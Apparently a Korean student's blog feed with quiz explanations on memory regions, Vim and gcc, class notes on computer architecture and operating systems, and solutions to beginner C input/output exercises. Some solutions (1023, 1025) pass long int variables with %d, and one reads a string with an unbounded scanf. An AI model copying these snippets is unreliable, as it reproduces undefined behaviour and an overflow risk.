            <guid>https://velog.io/@shin_yy/%EC%BB%B4%ED%93%A8%ED%84%B0-%EA%B5%AC%EC%A1%B0</guid>
            <pubDate>Thu, 15 May 2025 16:04:18 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="5번">5번</h1>
<h3 id="프로그램-실행-중run-time에-사용자-요청에-따라-크기가-결정되는-메모리-영역은">프로그램 실행 중(Run-Time)에 사용자 요청에 따라 크기가 결정되는 메모리 영역은?</h3>
<h3 id="1-코드-영역">1. 코드 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
코드 영역은 실행할 코드가 저장되는 영역으로서
text 영역으로도 불리는 영역</p>
</blockquote>
<h3 id="2-bss">2. BSS</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
초기화되지 않은 전역 변수나 정적 변수들이 저장되는 메모리 영역
데이터 영역에 속함
BSS 외에 GVAR 영역 역시 데이터 영역에 속함</p>
</blockquote>
<h3 id="3-스택-영역">3. 스택 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
프로그램이 자동으로 사용하는 임시 메모리 영역으로서
함수의 호출과 관계되는 지역변수와 매개변수가 저장되는 영역</p>
</blockquote>
<h3 id="4-힙-영역">4. 힙 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>O
사용자가 직접 관리하는 영역으로서
사용자에 의해 메모리 공간이 동적으로 할당되거나 해제되는 영역</p>
</blockquote>
<h3 id="5-데이터-영역">5. 데이터 영역</h3>
<blockquote>
<blockquote>
</blockquote>
<p>X
프로그램의 전역변수, 정적변수, 문자열상수가 저장 되어지는 영역으로서
프로그램 시작과 동시에 할당, 종료시 소멸되는 영역</p>
</blockquote>
<blockquote>
</blockquote>
<h1 id="12번">12번</h1>
<h3 id="vim에-대한-설명으로-옳지-않은-것은">Vim에 대한 설명으로 옳지 않은 것은?</h3>
<ol>
<li>Vim은 텍스트 편집기로, 명령어 모드, 일반 모드, 입력 모드를 구분하여 사용한다.<blockquote>
<blockquote>
</blockquote>
<p>O
vim은 3가지 모드로 나뉘며,
명령어 모드, 일반 모드, 입력 모드가 존재함</p>
</blockquote>
</li>
<li>명령어 모드에서 &quot;wq&quot;를 입력하면 파일을 저장하고 Vim을 종료할 수 있다.<blockquote>
<blockquote>
</blockquote>
<p>O
&quot;:w&quot;는 저장
&quot;:q&quot;는 닫기 (저장 X)
&quot;:wq&quot;는 저장하고 종료함</p>
</blockquote>
</li>
<li>입력 모드에서는 텍스트를 자유롭게 입력할 수 있으며, 입력 모드로 들어가려면 &quot;i&quot;를 누른다.<blockquote>
<blockquote>
</blockquote>
<p>O
&quot;i&quot;는 insert로 해석할 수 있으며,
커서 앞에서 입력 모드로 전환하는 명령어</p>
</blockquote>
</li>
<li>일반 모드에서 :(콜론)을 눌러 명령어 모드로 전환할 수 있다.<blockquote>
<blockquote>
</blockquote>
<p>O
일반 모드에서 &quot;:&quot;을 눌러서 명령어 모드로 전환 한 후,
&quot;w&quot;, &quot;q&quot;, &quot;wq&quot; 같은 명령어들을 실행시킬 수 있음 </p>
</blockquote>
</li>
<li>Vim은 기본적으로 모든 변경 사항을 자동으로 저장한다.<blockquote>
<blockquote>
</blockquote>
<p>X
vim은 기본적으로 자동저장을 지원하지 않지만,
플러그인을 통해 자동저장을 활성화 시킬 수 있다고 함</p>
</blockquote>
</li>
</ol>
<blockquote>
</blockquote>
<h1 id="15번">15번</h1>
<h2 id="gcc-컴파일러-명령어의-사용-예시이다-이-중에서-형식이-올바르지-않은-명령어를-고르시오">gcc 컴파일러 명령어의 사용 예시이다. 이 중에서 형식이 올바르지 않은 명령어를 고르시오.</h2>
<blockquote>
</blockquote>
<h3 id="1-gcc--o-layer7-layer7c">1. gcc -o layer7 layer7.c</h3>
<p>layer7.c를 컴파일하여 layer7 실행 파일 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
<h3 id="2-gcc-layer7c--o-layer7">2. gcc layer7.c -o layer7</h3>
<p>layer7.c를 컴파일하여 layer7 실행 파일 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
<h3 id="3-gcc--c-layer7c">3. gcc -c layer7.c</h3>
<p>layer7.c를 오브젝트 파일로 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
<h3 id="4-gcc--run-layer7c">4. gcc -run layer7.c</h3>
<p>layer7.c를 실행 (하려는 의도 ..?)</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>X</strong>
-run 이라는 명령어는 존재하지 않음</p>
</blockquote>
<h3 id="5-gcc-layer7c">5. gcc layer7.c</h3>
<p>layer7.c를 컴파일하여 a.out 실행 파일 생성</p>
<blockquote>
<blockquote>
</blockquote>
<p><strong>O</strong></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[5/7 수업정리]]></title>
            <link>https://velog.io/@shin_yy/57-%EC%88%98%EC%97%85%EC%A0%95%EB%A6%AC</link>
            <guid>https://velog.io/@shin_yy/57-%EC%88%98%EC%97%85%EC%A0%95%EB%A6%AC</guid>
            <pubDate>Wed, 07 May 2025 08:27:53 GMT</pubDate>
            <description><![CDATA[<blockquote>
</blockquote>
<h1 id="컴퓨터-구조">컴퓨터 구조</h1>
<p>프로그램이 실제로 어떤 과정을 거쳐서 <strong>기계 수준에서 실행</strong>되는지를 다루는 분야</p>
<h2 id="컴퓨터-구조를-배우는-이유">컴퓨터 구조를 배우는 이유?</h2>
<p>컴퓨터 구조를 알아야 컴퓨터에 대한 <strong>이해</strong>와 <strong>기술적 지식</strong>을 습득 가능</p>
<blockquote>
<blockquote>
<p>리버스 엔지니어링과 포너블을 위해서는 <strong>컴퓨터 구조에 대한 이해</strong>가 필요</p>
</blockquote>
</blockquote>
<blockquote>
</blockquote>
<h1 id="isa-instruction-set-architecture">ISA (Instruction Set Architecture)</h1>
<p>CPU가 이해하고 실행할 수 있는 <strong>명령어 집합과 동작 방식</strong>을 정의한 규약</p>
<blockquote>
<blockquote>
<p>EX) ARM, x86, x86-64</p>
</blockquote>
</blockquote>
<h2 id="중앙처리장치-cpu">중앙처리장치 (CPU)</h2>
<blockquote>
<p>프로그램의 연산을 처리하고 시스템을 관리하는 두뇌 역활을 하는 장치</p>
<blockquote>
<ul>
<li>ALU, Register으로 구성</li>
</ul>
</blockquote>
</blockquote>
<h2 id="기억장치-memory">기억장치 (Memory)</h2>
<p>컴퓨터가 동작하는데 필요한 여러 데이터를 저장하는 장치
용도에 따라 주/보조기억장치로 분류</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<ul>
<li>주기억장치 - 필요한 데이터를 <strong>임시</strong>로 저장(RAM)</li>
<li>보조기억장치 - 프로그램, 운영체제 같은 데이터를 <strong>장기간</strong> 저장(HDD, SSD)</li>
</ul>
<blockquote>
</blockquote>
<h1 id="byte-ordering">Byte Ordering</h1>
<p>2byte 이상의 데이터는 메모리에 연속적으로 저장
이 때, 메모리의 정렬되는 방식</p>
<blockquote>
</blockquote>
<p><strong>Bit의 수가 아닌 Byte의 수를 고려</strong>한다는 점을 주의</p>
<blockquote>
<blockquote>
<p><strong>Bit의 순서는 동일, Byte의 순서만 변동</strong></p>
</blockquote>
</blockquote>
<h2 id="big-endian">Big-Endian</h2>
<p>큰 byte부터 메모리의 낮은 주소에 저장</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex">EX)</h3>
<p>0x0123
0x01 0x23</p>
<blockquote>
</blockquote>
<h2 id="little-endian">Little-Endian</h2>
<p>작은 byte부터 메모리의 낮은 주소에 저장</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<ul>
<li>x86, x86-64 CPU에서 사용<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-1">EX)</h3>
0x0123
0x23 0x01</li>
</ul>
<blockquote>
</blockquote>
<h1 id="encoding-decoding">Encoding-Decoding</h1>
<h3 id="encoding---데이터를-특정한-형식으로-암호화">Encoding - 데이터를 특정한 형식으로 암호화</h3>
<h3 id="decoding---인코딩-데이터를-원래-값으로-복호화">Decoding - 인코딩 데이터를 원래 값으로 복호화</h3>
<blockquote>
<blockquote>
<p>Base64 인코딩 문제 풀이를 통한 실습</p>
</blockquote>
</blockquote>
<blockquote>
</blockquote>
<h1 id="운영체제-os">운영체제 (OS)</h1>
<blockquote>
<blockquote>
</blockquote>
<p>사용자가가 <strong>컴퓨터를 사용하기 위해 필요한 소프트웨어</strong>
컴퓨터를 사용하면서 실행한 프로그램들은 <strong>운영체제에서 관리&amp;제어</strong></p>
</blockquote>
<h2 id="하는-일">하는 일</h2>
<blockquote>
<blockquote>
</blockquote>
<p>CPU, 메모리 등 <strong>하드웨어 자원을 효율적으로 사용</strong>하도록 자원을 분배, 할당함</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
</blockquote>
<h3 id="ex-2">EX)</h3>
<p>CPU 스케줄링
메모리 공간을 분배 및 관리
정보를 주고 받는 과정 관리</p>
<blockquote>
</blockquote>
<h2 id="운영체제의-구조상-위치">운영체제의 구조상 위치</h2>
<h3 id="application--shell--kernel--hw">Application &gt; shell &gt; Kernel &gt; H/W</h3>
<p>shell과 Kernel을 연결해주는 OS</p>
<h2 id="운영체제-os---shell">운영체제 (OS) - Shell</h2>
<p>kernel과 상호작용할 수 있도록 해주는 명령어 해석기
-&gt; 사용자가 입력한 명령을 해석 / 시스템에 전달</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-3">EX)</h3>
<p>bash
zsh
sh</p>
<blockquote>
</blockquote>
<h2 id="운영체제-os---kernel">운영체제 (OS) - kernel</h2>
<p>하드웨어와 소프트웨어 사이를 중재</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="kernel의-주요-역할">kernel의 주요 역할</h3>
<ul>
<li>프로세스 관리 -&gt; exec()</li>
<li>메모리 관리</li>
<li>파일 시스템 관리 -&gt; open(), read()</li>
<li>I/O 관리</li>
<li>System Call 제공<blockquote>
</blockquote>
<h2 id="운영체제-종류">운영체제 종류</h2>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-4">EX)</h3>
UNIX는 벨 연구소에서 개발한 운영체제, 현대 운영체제의 원형
Linux는 오픈소스 프로그램, UNIX를 계승하여 발전함, 다양한 환경에서 사용됨</li>
<li>그밖에 Windows, iOS 등 다른 운영체제들도 존재</li>
</ul>
<blockquote>
</blockquote>
<h1 id="cli--command-line-interface">CLI : Command Line Interface</h1>
<p>문자로 사용자와 컴퓨터가 상호작용하여 동작하는 인터페이스</p>
<blockquote>
<blockquote>
</blockquote>
</blockquote>
<h3 id="ex-5">EX)</h3>
<p>Mac-Termenal 등</p>
<blockquote>
<h1 id="리눅스-기초-명령어">리눅스 기초 명령어</h1>
<blockquote>
</blockquote>
</blockquote>
<h1 id="과제">과제</h1>
<blockquote>
<h2 id="과제_설명">과제_설명</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/225be9ec-67ad-4792-93b5-07f21f14a464/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/e1fe2da9-dc79-48ae-824b-20a2747e4c7e/image.png" alt=""></p>
<h2 id="과제_해결">과제_해결</h2>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/b0e8b3de-507d-4cd3-8561-e487d414125b/image.png" alt=""></p>
</blockquote>
<blockquote>
</blockquote>
<h2 id="해결과정">해결과정</h2>
<h3 id="사용-명령어-설명">사용 명령어 설명</h3>
<p>pwd            - 현재 작업 중인 디렉터리의 경로를 출력
ls            - 현재 디렉터리의 파일 목록을 출력
cat (파일명) -    (파일명) 파일의 내용을 화면의 출력</p>
<h3 id="풀이">풀이</h3>
<ol>
<li>touch 명령어를 사용하여 shiny.c 파일을 생성</li>
<li>vim shiny.c 를 이용하여 shiny.c 파일에 지정된 코드 타이핑 및 저장</li>
<li>pwd, ls, cat shiny.c 명령어를 순서대로 사용하여 지정된 사진처럼 출력</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[100제]]></title>
            <link>https://velog.io/@shin_yy/100%EC%A0%9C</link>
            <guid>https://velog.io/@shin_yy/100%EC%A0%9C</guid>
            <pubDate>Sun, 04 May 2025 14:53:22 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/shin_yy/post/e20b504f-7112-4fba-835e-7a4ceda3e98e/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/229642f8-f419-4131-9918-0d7dba8ac0d0/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/1a4bf7a8-84a5-480b-82c1-31b9dc9140f6/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/b8bb1e7f-d23e-43e6-82e1-5e36fc755431/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/ecfe26d9-946b-4374-9dd4-221bb46e715f/image.png" alt="">
<img src="https://velog.velcdn.com/images/shin_yy/post/3ba67c8d-06a8-476a-80c2-6061b0d35511/image.png" alt=""></p>
<blockquote>
</blockquote>
<h2 id="1001--기초-출력-출력하기01설명">1001 : [기초-출력] 출력하기01(설명)</h2>
<h3 id="입력">입력</h3>
<p>입력 없음</p>
<h3 id="출력">출력</h3>
<p>Hello</p>
<h3 id="풀이">풀이</h3>
<p>출력함수를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1002--기초-출력-출력하기02설명">1002 : [기초-출력] 출력하기02(설명)</h2>
<h3 id="입력-1">입력</h3>
<p>입력 없음</p>
<h3 id="출력-1">출력</h3>
<p>Hello World</p>
<h3 id="풀이-1">풀이</h3>
<p>출력함수를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello World&quot;);

    return 0;
}
</code></pre><blockquote>
</blockquote>
<h2 id="1003--기초-출력-출력하기03설명">1003 : [기초-출력] 출력하기03(설명)</h2>
<h3 id="입력-2">입력</h3>
<p>입력 없음</p>
<h3 id="출력-2">출력</h3>
<p>Hello
World</p>
<h3 id="풀이-2">풀이</h3>
<p>이스케이프 시퀸스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello\nWorld&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1004--기초-출력-출력하기04설명">1004 : [기초-출력] 출력하기04(설명)</h2>
<h3 id="입력-3">입력</h3>
<p>입력 없음</p>
<h3 id="출력-3">출력</h3>
<p>&#39;Hello&#39;</p>
<h3 id="풀이-3">풀이</h3>
<p>이스케이프 시퀸스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&#39;Hello\&#39;&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1005--기초-출력-출력하기05설명">1005 : [기초-출력] 출력하기05(설명)</h2>
<h3 id="입력-4">입력</h3>
<p>입력 없음</p>
<h3 id="출력-4">출력</h3>
<p>&quot;Hello World&quot;</p>
<h3 id="풀이-4">풀이</h3>
<p>이스케이프 시퀀스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&quot;Hello World\&quot;&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1006--기초-출력-출력하기06설명">1006 : [기초-출력] 출력하기06(설명)</h2>
<h3 id="입력-5">입력</h3>
<p>입력 없음</p>
<h3 id="출력-5">출력</h3>
<p>&quot;!@#$%^&amp;*()&quot;</p>
<h3 id="풀이-5">풀이</h3>
<p>이스케이프 시퀀스를 이용하여 특수부호들을 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&quot;!@#$%%^&amp;*()\&quot;&quot;);

    return 0;
}
</code></pre><blockquote>
</blockquote>
<h2 id="1007--기초-출력-출력하기07설명">1007 : [기초-출력] 출력하기07(설명)</h2>
<h3 id="입력-6">입력</h3>
<p>입력 없음</p>
<h3 id="출력-6">출력</h3>
<p>&quot;C:\Download\hello.cpp&quot;</p>
<h3 id="풀이-6">풀이</h3>
<p>이스케이프 시퀀스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&quot;C:\\Download\\hello.cpp\&quot;&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1008--기초-출력-출력하기08설명">1008 : [기초-출력] 출력하기08(설명)</h2>
<h3 id="입력-7">입력</h3>
<p>입력 없음</p>
<h3 id="출력-7">출력</h3>
<p>┌┬┐
├┼┤
└┴┘</p>
<h3 id="풀이-7">풀이</h3>
<p>유니코드를 이용하여 주어진 모양 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\u250C\u252C\u2510\n&quot;);
    printf(&quot;\u251C\u253C\u2524\n&quot;);
    printf(&quot;\u2514\u2534\u2518\n&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1010--기초-입출력-정수-1개-입력받아-그대로-출력하기설명">1010 : [기초-입출력] 정수 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-8">입력</h3>
<p>15</p>
<h3 id="출력-8">출력</h3>
<p>15</p>
<h3 id="풀이-8">풀이</h3>
<p>입력함수를 이용하여 정수를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n;
    scanf(&quot;%d&quot;, &amp;n);
    printf(&quot;%d&quot;, n);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1011--기초-입출력-문자-1개-입력받아-그대로-출력하기설명">1011 : [기초-입출력] 문자 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-9">입력</h3>
<p>p</p>
<h3 id="출력-9">출력</h3>
<p>p</p>
<h3 id="풀이-9">풀이</h3>
<p>입력함수를 이용하여 문자를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    char x;
    scanf(&quot;%c&quot;, &amp;x);
    printf(&quot;%c&quot;, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1012--기초-입출력-실수-1개-입력받아-그대로-출력하기설명">1012 : [기초-입출력] 실수 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-10">입력</h3>
<p>1.414213</p>
<h3 id="출력-10">출력</h3>
<p>1.414213</p>
<h3 id="풀이-10">풀이</h3>
<p>입력함수를 이용하여 실수를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    float x;
    scanf(&quot;%f&quot;, &amp;x);
    printf(&quot;%f&quot;, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1013--기초-입출력-정수-2개-입력받아-그대로-출력하기설명">1013 : [기초-입출력] 정수 2개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-11">입력</h3>
<p>1 2</p>
<h3 id="출력-11">출력</h3>
<p>1 2</p>
<h3 id="풀이-11">풀이</h3>
<p>입력함수를 이용하여 2개의 정수를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);
    printf(&quot;%d %d&quot;, a, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1014--기초-입출력-문자-2개-입력받아-순서-바꿔-출력하기설명">1014 : [기초-입출력] 문자 2개 입력받아 순서 바꿔 출력하기(설명)</h2>
<h3 id="입력-12">입력</h3>
<p>A b</p>
<h3 id="출력-12">출력</h3>
<p>b A</p>
<h3 id="풀이-12">풀이</h3>
<p>입력함수를 이용하여 2개의 문자를 입력받고, 출력함수에서 순서를 바꿔서 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    char x, y;
    scanf(&quot;%c %c&quot;, &amp;x, &amp;y);

    printf(&quot;%c %c&quot;, y, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1015--기초-입출력-실수-입력받아-둘째-자리까지-출력하기설명">1015 : [기초-입출력] 실수 입력받아 둘째 자리까지 출력하기(설명)</h2>
<h3 id="입력-13">입력</h3>
<p>1.59254</p>
<h3 id="출력-13">출력</h3>
<p>1.59</p>
<h3 id="풀이-13">풀이</h3>
<p>float형을 지정된 값까지만 불러오도록 지정하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    float x;
    scanf(&quot;%f&quot;, &amp;x);
    printf(&quot;%.2f&quot;, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1017--기초-입출력-정수-1개-입력받아-3번-출력하기설명">1017 : [기초-입출력] 정수 1개 입력받아 3번 출력하기(설명)</h2>
<h3 id="입력-14">입력</h3>
<p>125</p>
<h3 id="출력-14">출력</h3>
<p>125 125 125</p>
<h3 id="풀이-14">풀이</h3>
<p>출력함수를 이용하여 변수 &#39;a&#39;를 3번 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d %d %d&quot;, a, a, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1018--기초-입출력-시간-입력받아-그대로-출력하기설명">1018 : [기초-입출력] 시간 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-15">입력</h3>
<p>3:16</p>
<h3 id="출력-15">출력</h3>
<p>3:16</p>
<h3 id="풀이-15">풀이</h3>
<p>두 정수를 &#39;:&#39;로 구분하여 입력받고, 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int h, m;
    scanf(&quot;%d:%d&quot;, &amp;h, &amp;m);
    printf(&quot;%d:%d&quot;, h, m);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1019--기초-입출력-연월일-입력받아-그대로-출력하기">1019 : [기초-입출력] 연월일 입력받아 그대로 출력하기</h2>
<h3 id="입력-16">입력</h3>
<p>2013.8.5</p>
<h3 id="출력-16">출력</h3>
<p>2013.08.05</p>
<h3 id="풀이-16">풀이</h3>
<p>%0n을 통해 채워지지 않은 자리에 0을 채워서 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int y, m, d;
    scanf(&quot;%d.%d.%d&quot;, &amp;y, &amp;m, &amp;d);

    printf(&quot;%04d.%02d.%02d&quot;, y, m, d);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1020--기초-입출력-주민번호-입력받아-형태-바꿔-출력하기">1020 : [기초-입출력] 주민번호 입력받아 형태 바꿔 출력하기</h2>
<h3 id="입력-17">입력</h3>
<p>000907-1121112</p>
<h3 id="출력-17">출력</h3>
<p>0009071121112</p>
<h3 id="풀이-17">풀이</h3>
<p>%0n을 통해 채워지지 않은 자리에 0을 채워서 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int a, b;
    scanf(&quot;%ld-%ld&quot;, &amp;a, &amp;b);

    printf(&quot;%06ld%07ld&quot;, a, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1021--기초-입출력-단어-1개-입력받아-그대로-출력하기설명">1021 : [기초-입출력] 단어 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-18">입력</h3>
<p>Informatics</p>
<h3 id="출력-18">출력</h3>
<p>Informatics</p>
<h3 id="풀이-18">풀이</h3>
<p>크기를 지정하여 문자열을 선언 후, 입력함수로 값을 받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char s[51] = &quot; &quot;;
    scanf(&quot;%s&quot;, s);

    printf(&quot;%s&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1022--기초-입출력-문장-1개-입력받아-그대로-출력하기설명">1022 : [기초-입출력] 문장 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-19">입력</h3>
<p>Programming is very fun!!</p>
<h3 id="출력-19">출력</h3>
<p>Programming is very fun!!</p>
<h3 id="풀이-19">풀이</h3>
<p>크기를 지정하여 문자열을 선언 후, 입력함수로 값을받고 출력</p>
<blockquote>
</blockquote>
<p>fgets() 와 scanf() 의 차이점
fgets() - <strong>공백 포함 가능</strong>
scanf() - <strong>공백 포함 불가능</strong></p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char s[2001];
    fgets(s, 2000, stdin);

    printf(&quot;%s&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1023--기초-입출력-실수-1개-입력받아-부분별로-출력하기설명">1023 : [기초-입출력] 실수 1개 입력받아 부분별로 출력하기(설명)</h2>
<h3 id="입력-20">입력</h3>
<p>1.414213</p>
<h3 id="출력-20">출력</h3>
<p>1
414213</p>
<h3 id="풀이-20">풀이</h3>
<p>&#39;.&#39; 을 기준으로 다른 변수로 입력받고, 이스케이프 시퀸스를 이용하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int a, b;
    scanf(&quot;%d.%d&quot;, &amp;a, &amp;b);

    printf(&quot;%d\n%d&quot;, a, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1024--기초-입출력-단어-1개-입력받아-나누어-출력하기설명">1024 : [기초-입출력] 단어 1개 입력받아 나누어 출력하기(설명)</h2>
<h3 id="입력-21">입력</h3>
<p>Boy</p>
<h3 id="출력-21">출력</h3>
<p>&#39;B&#39;
&#39;o&#39;
&#39;y&#39;</p>
<h3 id="풀이-21">풀이</h3>
<p>문자열 인덱스를 이용하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char d[30];
    scanf(&quot;%s&quot;, d);
    for(int i = 0; d[i] != &#39;\0&#39;; i++)
    {
        printf(&quot;\&#39;%c\&#39;\n&quot;, d[i]);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1025--기초-입출력-정수-1개-입력받아-나누어-출력하기설명">1025 : [기초-입출력] 정수 1개 입력받아 나누어 출력하기(설명)</h2>
<h3 id="입력-22">입력</h3>
<p>75254</p>
<h3 id="출력-22">출력</h3>
<p>[70000]\n
[5000]\n
[200]\n
[50]\n
[4]</p>
<h3 id="풀이-22">풀이</h3>
<p>&#39;1d&#39;를 이용해 각각의 변수에 정수를 할당한 후, 각 자리의 값의 크기를 출력</p>
<blockquote>
</blockquote>
<p>`nd&#39; - n개의 정수값을 입 / 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int a, b, c, d, e;
    scanf(&quot;%1d%1d%1d%1d%1d&quot;, &amp;a, &amp;b, &amp;c, &amp;d, &amp;e);

    printf(&quot;[%d]\n&quot;, a*10000);
    printf(&quot;[%d]\n&quot;, b*1000);
    printf(&quot;[%d]\n&quot;, c*100);
    printf(&quot;[%d]\n&quot;, d*10);
    printf(&quot;[%d]\n&quot;, e*1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1026--기초-입출력-시분초-입력받아-분만-출력하기설명">1026 : [기초-입출력] 시분초 입력받아 분만 출력하기(설명)</h2>
<h3 id="입력-23">입력</h3>
<p>17:23:57</p>
<h3 id="출력-23">출력</h3>
<p>23</p>
<h3 id="풀이-23">풀이</h3>
<p>&#39;:&#39; 를 기준으로 나누어서 각각의 변수의 할당한 후, 분만 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int h, m, s;
    scanf(&quot;%d:%d:%d&quot;, &amp;h, &amp;m, &amp;s);
    printf(&quot;%d&quot;, m);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1027--기초-입출력-년월일-입력-받아-형식-바꿔-출력하기설명">1027 : [기초-입출력] 년월일 입력 받아 형식 바꿔 출력하기(설명)</h2>
<h3 id="입력-24">입력</h3>
<p>2014.07.15</p>
<h3 id="출력-24">출력</h3>
<p>15-07-2014 </p>
<h3 id="풀이-24">풀이</h3>
<p>&#39;.&#39; 을 기준으로 나누어 각각의 변수에 할당 후, 출력 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int y, m, d;
    scanf(&quot;%d.%d.%d&quot;, &amp;y, &amp;m, &amp;d);
    printf(&quot;%02d-%02d-%04d&quot;, d, m, y);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1028--기초-데이터형-정수-1개-입력받아-그대로-출력하기2설명">1028 : [기초-데이터형] 정수 1개 입력받아 그대로 출력하기2(설명)</h2>
<h3 id="입력-25">입력</h3>
<p>2147483648</p>
<h3 id="출력-25">출력</h3>
<p>2147483648</p>
<h3 id="풀이-25">풀이</h3>
<p>unsigned int형의 변수에 값을 할당받고 출력</p>
<blockquote>
</blockquote>
<p>unsigned int형 - int형보다 더 넓은 범위의 자연수를 할당 가능
%d - int형
%u - unsigned int형</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    unsigned int n;
    scanf(&quot;%u&quot;, &amp;n);
    printf(&quot;%u&quot;, n);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1029--기초-데이터형-실수-1개-입력받아-그대로-출력하기2설명">1029 : [기초-데이터형] 실수 1개 입력받아 그대로 출력하기2(설명)</h2>
<h3 id="입력-26">입력</h3>
<p>3.14159265359</p>
<h3 id="출력-26">출력</h3>
<p>3.14159265359</p>
<h3 id="풀이-26">풀이</h3>
<p>double형의 변수에 값을 할당받고 출력</p>
<blockquote>
</blockquote>
<p>double형 - float형보다 더 넓은 범위의 실수를 할당 가능
%f - float형
%lf - double형</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    double d;
    scanf(&quot;%lf&quot;, &amp;d);
    printf(&quot;%.11f&quot;, d);

    return 0;
}</code></pre><blockquote>
</blockquote>
